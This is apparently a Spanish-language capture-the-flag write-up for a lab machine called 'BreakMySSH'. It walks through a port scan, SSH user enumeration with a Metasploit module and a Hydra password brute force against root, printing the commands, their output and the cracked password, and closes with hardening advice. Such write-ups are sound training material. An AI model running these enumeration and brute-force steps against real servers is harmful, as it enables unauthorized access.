BREAKMYSSH

1. CONECTIVIDAD

   Se realizó un ping para verificar la conectividad con la máquina objetivo:

└─# ping -c1 172.17.0.2

Resultado:

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.515 ms --- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.515/0.515/0.515/0.000 ms

La máquina objetivo (172.17.0.2) respondió satisfactoriamente al ping, confirmando la conectividad.

2. ESCANEO DE PUERTOS

   Se utilizó nmap para escanear los puertos en la máquina objetivo:

└─# nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2

Resultado:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) ...

El escaneo reveló que el puerto 22 está abierto, lo que indica que el servicio SSH está disponible en la máquina objetivo.

3.ENUMERACION DE SERVICIOS Y DIRECTORIOS

Se intentó realizar la enumeración de servicios y directorios con whatweb y gobuster, pero no se obtuvieron resultados exitosos.

4. EXPLOTACION

   Se utilizó Metasploit para buscar vulnerabilidades relacionadas con OpenSSH. Se optó por el módulo auxiliary/scanner/ssh/ssh_enumusers para enumerar usuarios SSH en la máquina objetivo.

msf6 > use 3 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 172.17.0.2 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wfuzz/wordlist/general/common.txt msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

Resultado:

[] 172.17.0.2:22 - SSH - Using malformed packet technique [] 172.17.0.2:22 - SSH - Checking for false positives *[] 172.17.0.2:22 - SSH - Starting scan [+] 172.17.0.2:22 - SSH - User 'backup' found [+] 172.17.0.2:22 - SSH - User 'bin' found [+] 172.17.0.2:22 - SSH - User 'daemon' found [+] 172.17.0.2:22 - SSH -*

User 'games' found [+] 172.17.0.2:22 - SSH - User 'list' found [+] 172.17.0.2:22 - SSH - User 'mail' found [+] 172.17.0.2:22 - SSH - User 'man' found [+] 172.17.0.2:22 - SSH - User 'news' found [+] 172.17.0.2:22 - SSH - User 'nobody' found [+] 172.17.0.2:22 - SSH - User 'proxy' found [+] 172.17.0.2:22 - SSH - User 'root' found [+] 172.17.0.2:22 - SSH - User 'sys' found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ...

El escaneo encontró 12 posibles nombres de usuario SSH en la máquina objetivo.

Se realizó un ataque de fuerza bruta con Hydra para el usuario root:

└─# hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

Resultado:

[22][ssh] host: 172.17.0.2 login: root password: estrella

┌──(root㉿kali)-[/home/kali/Desktop] └─# hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

Se realizó una conexión SSH exitosa utilizando la contraseña estrella, lo que proporcionó acceso como usuario root en la máquina objetivo.

Metodología:

Se siguió una metodología de pruebas que incluyó la verificación de conectividad, el escaneo de puertos, la enumeración de servicios y directorios, y la explotación de vulnerabilidades conocidas.

Recomendaciones:

Se recomienda tomar medidas para fortalecer la seguridad del servicio SSH en la máquina objetivo, como implementar políticas de contraseñas más sólidas, monitorear y registrar los intentos de acceso no autorizados, y limitar el acceso solo a usuarios y direcciones IP autorizadas.

Conclusiones:

Se logró acceder con éxito a la máquina objetivo mediante SSH utilizando el usuario root y la contraseña estrella, lo que demuestra una vulnerabilidad de seguridad significativa en la configuración del servicio SSH en la máquina objetivo.

La evaluación de seguridad identificó una serie de posibles mejoras en la configuración y gestión de la seguridad de la red y los sistemas de información.